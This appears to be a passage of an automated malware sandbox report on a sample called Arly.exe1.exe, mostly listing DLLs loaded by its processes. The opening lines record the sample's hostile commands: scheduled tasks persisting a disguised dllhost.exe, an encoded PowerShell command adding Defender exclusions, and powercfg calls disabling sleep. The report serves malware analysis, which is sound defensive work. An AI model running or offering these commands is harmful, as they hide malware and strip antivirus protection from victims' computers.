Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA="
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: version.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Users\user\Desktop\Arly.exe1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Arly.exe1.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Arly.exe1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Arly.exe1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Arly.exe1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Arly.exe1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Arly.exe1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Arly.exe1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Arly.exe1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Arly.exe1.exe

